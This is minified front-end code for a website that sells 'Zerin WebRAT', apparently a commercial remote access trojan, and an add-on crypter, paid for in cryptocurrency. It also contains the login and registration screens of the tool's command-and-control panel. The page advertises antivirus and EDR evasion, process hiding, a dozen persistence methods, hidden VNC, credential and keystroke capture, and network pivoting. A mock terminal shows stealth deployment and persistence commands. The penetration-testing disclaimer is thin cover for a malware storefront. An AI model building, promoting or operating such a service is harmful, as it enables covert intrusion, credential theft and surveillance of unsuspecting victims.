noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx(xt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),a.jsx(xt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),a.jsxs("section",{className:"relative z-10 min-h-screen flex flex-col items-center justify-center px-6 text-center",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 border border-emerald-500/20 bg-emerald-500/5 px-4 py-1.5 mb-8 animate-fade-in",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[11px] text-emerald-400/90 tracking-wide",children:"Advanced Red Team Framework"})]}),a.jsx("img",{src:"/zerin-logo.png",alt:"Zerin",className:"w-28 h-28 md:w-36 md:h-36 object-contain mb-6 opacity-0 animate-fade-in drop-shadow-[0_0_40px_rgba(6,182,212,0.4)]",style:{animationDelay:"200ms",animationFillMode:"forwards"}}),a.jsxs("h1",{className:"font-display font-bold text-5xl sm:text-6xl md:text-7xl lg:text-8xl tracking-tight leading-[0.95] mb-6",children:[a.jsx("span",{className:"block text-zerin-text opacity-0 animate-slide-up",children:"Next-Gen"}),a.jsx("span",{className:"block bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent opacity-0 animate-slide-up",style:{animationDelay:"150ms",animationFillMode:"forwards"},children:"Remote Access"})]}),a.jsx("div",{className:"h-8 mb-8",children:a.jsxs("span",{className:"font-mono text-lg md:text-xl text-zerin-text-muted",children:[a.jsx("span",{ref:e.spanRef}),a.jsx("span",{ref:e.cursorRef,className:"inline-block w-[2px] h-5 bg-zerin-accent ml-0.5 animate-pulse"})]})}),a.jsx("p",{className:"max-w-xl text-zerin-text-muted/80 text-[15px] leading-relaxed mb-10 opacity-0 animate-fade-in",style:{animationDelay:"800ms",animationFillMode:"forwards"},children:"Professional adversary simulation platform for red team operators and penetration testers. Encrypted C2 communications, polymorphic payload generation, and comprehensive post-exploitation capabilities."}),a.jsxs("div",{className:"flex items-center gap-4 opacity-0 animate-fade-in",style:{animationDelay:"1000ms",animationFillMode:"forwards"},children:[a.jsxs("a",{href:"#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[a.jsx("span",{className:"relative z-10",children:"Get Access"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),a.jsx(xt,{to:"/login",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-7 py-3 transition-all duration-300",children:"Sign In"})]}),a.jsxs("div",{className:"absolute bottom-10 left-1/2 -translate-x-1/2 flex flex-col items-center gap-2 opacity-0 animate-fade-in",style:{animationDelay:"1500ms",animationFillMode:"forwards"},children:[a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted/40 uppercase tracking-[0.3em]",children:"Scroll"}),a.jsx("div",{className:"w-[1px] h-8 bg-gradient-to-b from-zerin-accent/30 to-transparent animate-pulse"})]})]}),a.jsx("section",{className:"relative z-10 py-28 px-6",children:a.jsxs("div",{className:"max-w-5xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-14",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-emerald-400/70 uppercase",children:"Evasion Testing"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Built to Bypass."," ",a.jsx("span",{className:"bg-gradient-to-r from-emerald-400 to-cyan-300 bg-clip-text text-transparent",children:"Every Build Unique."})]}),a.jsx("p",{className:"text-zerin-text-muted text-[14px] mt-3 max-w-lg mx-auto",children:"Every payload is structurally unique. Polymorphic generation, encrypted strings, and dynamic API resolution — built for testing your security stack."})]}),a.jsxs("div",{className:"grid lg:grid-cols-2 gap-8 items-start",children:[a.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b] overflow-hidden",children:[a.jsxs("div",{className:"flex items-center justify-between px-5 py-3.5 border-b border-[#1a1a22] bg-[#08080c]",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 rounded-sm bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-emerald-400",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})})}),a.jsxs("div",{children:[a.jsx("div",{className:"font-mono text-[12px] text-zerin-text font-medium",children:"zerin_agent.exe"}),a.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted",children:"SHA256: a4f8...3d7e · 487 KB"})]})]}),a.jsxs("div",{className:"text-right",children:[a.jsx("div",{className:"font-mono text-[22px] font-bold text-emerald-400 leading-none",children:"0 / 72"}),a.jsx("div",{className:"font-mono text-[9px] text-emerald-400/60 uppercase tracking-wider mt-0.5",children:"Detections"})]})]}),a.jsx("div",{className:"px-5 py-2.5 border-b border-[#1a1a22]",children:a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"flex-1 h-1 bg-[#111118] rounded-full overflow-hidden",children:a.jsx("div",{className:"h-full bg-gradient-to-r from-emerald-500 to-emerald-400 rounded-full landing-scan-bar"})}),a.jsx("span",{className:"font-mono text-[10px] text-emerald-400/80",children:"72 / 72"})]})}),a.jsx("div",{className:"max-h-[340px] overflow-y-auto custom-scrollbar",children:a_.map((u,d)=>a.jsx(s_,{name:u,delay:d*60},u))})]}),a.jsx("div",{className:"space-y-5 lg:pt-2",children:[{title:"Polymorphic Generation",desc:"Every build produces unique machine code. No two agents share the same byte sequence — tests your AV/EDR signature detection capabilities.",icon:"01"},{title:"Encrypted Strings",desc:"All strings are ChaCha20-encrypted with a per-build key. Decrypted at runtime and wiped after use. Designed to challenge static analysis tools.",icon:"02"},{title:"In-Memory Execution",desc:"Modules are loaded reflectively in memory — no disk artifacts, no loaded module list entries. Tests your EDR memory scanning capabilities.",icon:"03"},{title:"Dynamic API Resolution",desc:"Windows API calls resolved via runtime hash lookup. Clean import table — challenges import-based heuristic detection engines.",icon:"04"}].map(u=>a.jsxs("div",{className:"group flex gap-4 p-4 border border-[#1a1a22] bg-[#08080c]/50 hover:border-zerin-accent/20 transition-all duration-300",children:[a.jsx("div",{className:"flex-shrink-0 w-9 h-9 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center",children:a.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70 font-bold",children:u.icon})}),a.jsxs("div",{children:[a.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text mb-1 group-hover:text-zerin-accent transition-colors duration-300",children:u.title}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed",children:u.desc})]})]},u.icon))})]})]})}),a.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-[#1a1a22]/50",children:a.jsx("div",{className:"max-w-5xl mx-auto",children:a.jsxs("div",{className:"grid lg:grid-cols-2 gap-12 items-center",children:[a.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b]",children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),a.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:"zerin@c2 ~ session"})]}),a.jsxs("div",{className:"p-5 font-mono text-[12px] leading-[1.8] space-y-0.5",children:[a.jsxs("div",{children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2",children:"stealth --deploy"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Reflective module: 48 KB"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into explorer.exe (PID 4892)... ",a.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into svchost.exe (PID 1204)... ",a.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Process concealment active"}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Hidden from: Task Manager, Process Explorer, WMI"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",a.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] Stealth mode — ",a.jsx("span",{className:"text-zerin-accent",children:"active"})]}),a.jsxs("div",{className:"mt-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2",children:"persist --install --all-methods"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Agent installed to staging directory"}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Methods: RunKey, SchTask, Startup, WMI, COM, BITS"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",a.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] 6/6 persistence methods — ",a.jsx("span",{className:"text-zerin-accent",children:"installed"})]}),a.jsxs("div",{className:"mt-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2 inline-flex items-center",children:a.jsx("span",{className:"w-[2px] h-3.5 bg-zerin-accent/60 animate-pulse"})})]})]})]}),a.jsxs("div",{children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Stealth Engine"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight mb-5",children:["Advanced"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Evasion."})]}),a.jsx("div",{className:"flex flex-wrap gap-2 mt-6",children:["Reflective Loading","API Hooking","Process Monitor","12 Persist Methods","Auto-Relocate","File Concealment"].map(u=>a.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-accent/70 border border-zerin-accent/15 bg-zerin-accent/5 px-2.5 py-1",children:u},u))})]})]})})}),a.jsx("section",{className:"relative z-10 py-24 px-6",children:a.jsxs("div",{className:"max-w-6xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-16",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Capabilities"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Everything You Need."," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"One Platform."})]})]}),a.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-[1px] bg-[#1a1a22]/30",children:i_.map((u,d)=>a.jsx(o_,{feature:u,index:d},u.tag))})]})}),a.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-b border-[#1a1a22]/50",children:a.jsxs("div",{className:"max-w-5xl mx-auto grid grid-cols-2 md:grid-cols-5 gap-10",children:[a.jsx(Bs,{value:256,suffix:"-bit",label:"Encryption"}),a.jsx(Bs,{value:12,suffix:"",label:"Persist Methods"}),a.jsx(Bs,{value:100,suffix:"%",label:"C2 Uptime"}),a.jsx(Bs,{value:0,suffix:"",label:"Disk Artifacts"}),a.jsx(Bs,{value:48,suffix:"",label:"Modules"})]})}),a.jsx("section",{id:"pricing",className:"relative z-10 py-32 px-6",children:a.jsxs("div",{className:"max-w-6xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-16",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Pricing"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["One License."," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Lifetime Access."})]}),a.jsx("p",{className:"text-zerin-text-muted text-[15px] mt-4 max-w-md mx-auto",children:"No subscriptions. No recurring fees. Pay once, own it forever."})]}),a.jsxs("div",{className:"grid md:grid-cols-2 gap-6 max-w-4xl mx-auto",children:[a.jsx("div",{className:"group relative",children:a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/20 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Early Access"})]}),a.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),a.jsxs("div",{className:"px-6 pt-6 pb-4",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase mb-2",children:"WebRAT"}),a.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[a.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$75"}),a.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$150"})]}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:["Process concealment engine","Polymorphic payload generation","Persistence testing (12 methods)","Hidden VNC & remote desktop","Encrypted C2 (ChaCha20 + X25519)","Credential auditing module","SOCKS5 reverse proxy / pivoting","In-memory execution","Screen capture & input monitoring","All future updates included"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5",children:a.jsx("button",{onClick:()=>c("rat"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden border border-zerin-accent text-zerin-accent font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:bg-zerin-accent/10 disabled:opacity-50 disabled:cursor-wait",children:a.jsx("span",{className:"relative z-10",children:r==="rat"?"Creating Invoice...":"Purchase with Crypto"})})})]})}),a.jsxs("div",{className:"group relative",children:[a.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 via-transparent to-zerin-accent/10 opacity-60 group-hover:opacity-100 transition-opacity duration-700 blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 group-hover:border-zerin-accent/50 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Best Value"})]}),a.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),a.jsxs("div",{className:"px-6 pt-6 pb-4",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-accent/80 uppercase mb-2",children:"WebRAT + Crypter"}),a.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[a.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$150"}),a.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$300"})]}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsxs("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:[["Everything in WebRAT, plus:"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text font-semibold",children:u})]},u)),["PE Crypter — runtime packing engine","Polymorphic + metamorphic generation","Every build structurally unique","Indirect syscalls for EDR testing","Anti-analysis & environment checks","NTDLL restoration module","Security product bypass testing","Unique keys & code per build"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5",children:a.jsxs("button",{onClick:()=>c("rat_crypter"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)] disabled:opacity-50 disabled:cursor-wait",children:[a.jsx("span",{className:"relative z-10",children:r==="rat_crypter"?"Creating Invoice...":"Purchase with Crypto"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover/btn:translate-x-full transition-transform duration-700"})]})})]})]})]}),a.jsxs("div",{className:"mt-8 text-center space-y-3",children:[a.jsxs("div",{className:"flex items-center justify-center gap-4",children:[a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40 uppercase tracking-wider",children:"Accepted:"}),["BTC","ETH","LTC","XMR","USDT"].map(u=>a.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-text-muted/60 border border-[#1a1a22] px-1.5 py-0.5 hover:border-zerin-accent/20 hover:text-zerin-text-muted transition-colors duration-300",children:u},u))]}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/30 tracking-wider block",children:"Secure payment — License key delivered instantly after confirmation"})]})]})}),a.jsxs("section",{className:"relative z-10 py-32 px-6 text-center",children:[a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-5xl tracking-tight mb-4",children:["Ready to"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),a.jsx("p",{className:"text-zerin-text-muted text-[15px] mb-10 max-w-md mx-auto",children:"Join the red team operators who trust Zerin for advanced adversary simulation and penetration testing."}),a.jsxs(xt,{to:"/register",className:"group relative inline-block overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-10 py-3.5 transition-all duration-300 hover:shadow-[0_0_40px_rgba(6,182,212,0.25)]",children:[a.jsx("span",{className:"relative z-10",children:"Get Started"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]})]}),a.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[a.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),a.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),a.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function Mj(){const e=m.useRef(null);return m.useEffect(()=>{const t=e.current;if(!t)return;const n=t.getContext("2d");let r,i=0;function s(){t.width=window.innerWidth,t.height=window.innerHeight}s(),window.addEventListener("resize",s);function o(){i+=.002,n.clearRect(0,0,t.width,t.height);const l=50,c=Math.ceil(t.width/l)+1,u=Math.ceil(t.height/l)+1;for(let d=0;d{cancelAnimationFrame(r),window.removeEventListener("resize",s)}},[]),a.jsxs(a.Fragment,{children:[a.jsx("canvas",{ref:e,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}}),a.jsx("div",{className:"fixed inset-0 pointer-events-none",style:{zIndex:1,background:"radial-gradient(ellipse at center, transparent 30%, rgba(4,4,10,0.7) 100%)"}})]})}const oy="zerin.pro",Lj="zerpanel-67ontoplol.top";function _x(){return window.location.hostname===oy||window.location.hostname===`www.${oy}`}function c_(){const e=xr(),[t,n]=m.useState(""),[r,i]=m.useState(""),[s,o]=m.useState(""),[l,c]=m.useState(!1);async function u(d){d.preventDefault(),o(""),c(!0);try{if(await qE({username:t,password:r}),_x()){const f=st();if(f){window.location.href=`https://${Lj}/auth#token=${encodeURIComponent(f)}`;return}}e("/dashboard")}catch(f){f instanceof bi?o(f.status===401?f.message||"Invalid credentials":`Server error: ${f.message}`):o("Connection failed. Is the server running?")}finally{c(!1)}}return a.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[a.jsx(Mj,{}),a.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[a.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[a.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),a.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Command & Control"})]}),a.jsxs("div",{className:"auth-card auth-stagger-2",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("form",{onSubmit:u,className:"relative space-y-5",children:[s&&a.jsxs("div",{className:"auth-error",children:[a.jsx("div",{className:"auth-error-bar"}),a.jsx("span",{children:s})]}),a.jsxs("div",{className:"auth-stagger-3",children:[a.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"username",type:"text",value:t,onChange:d=>n(d.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Enter username"})})]}),a.jsxs("div",{className:"auth-stagger-4",children:[a.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"password",type:"password",value:r,onChange:d=>i(d.target.value),required:!0,autoComplete:"current-password",className:"auth-input",placeholder:"Enter password"})})]}),a.jsx("div",{className:"auth-stagger-5 pt-1",children:a.jsx("button",{type:"submit",disabled:l,className:"auth-submit",children:a.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[l&&a.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),l?"Authenticating...":"Sign In"]})})})]})]}),a.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-6",children:[a.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Don't have an account?"," ",a.jsx(xt,{to:"/register",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Register"})]}),a.jsxs("div",{className:"flex items-center justify-center gap-2",children:[a.jsx("span",{className:"auth-status-dot"}),a.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function u_(){const e=xr(),[t,n]=m.useState(""),[r,i]=m.useState(""),[s,o]=m.useState(""),[l,c]=m.useState(""),[u,d]=m.useState(""),[f,p]=m.useState(!1);async function h(x){if(x.preventDefault(),d(""),!/^[a-zA-Z0-9]{3,32}$/.test(t)){d("Username must be 3-32 characters, alphanumeric only");return}if(r!==s){d("Passwords do not match");return}if(r.length<12){d("Password must be at least 12 characters");return}p(!0);try{if(await XE({username:t,password:r,license_key:l}),_x()){const g=st();if(g){window.location.href=`https://${Lj}/auth#token=${encodeURIComponent(g)}`;return}}e("/dashboard")}catch(g){if(g instanceof bi)try{const y=JSON.parse(g.message);d(y.error||g.message)}catch{d(g.message)}else d("Connection failed. Is the server running?")}finally{p(!1)}}return a.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[a.jsx(Mj,{}),a.jsxs("div",{className:"relative w-full 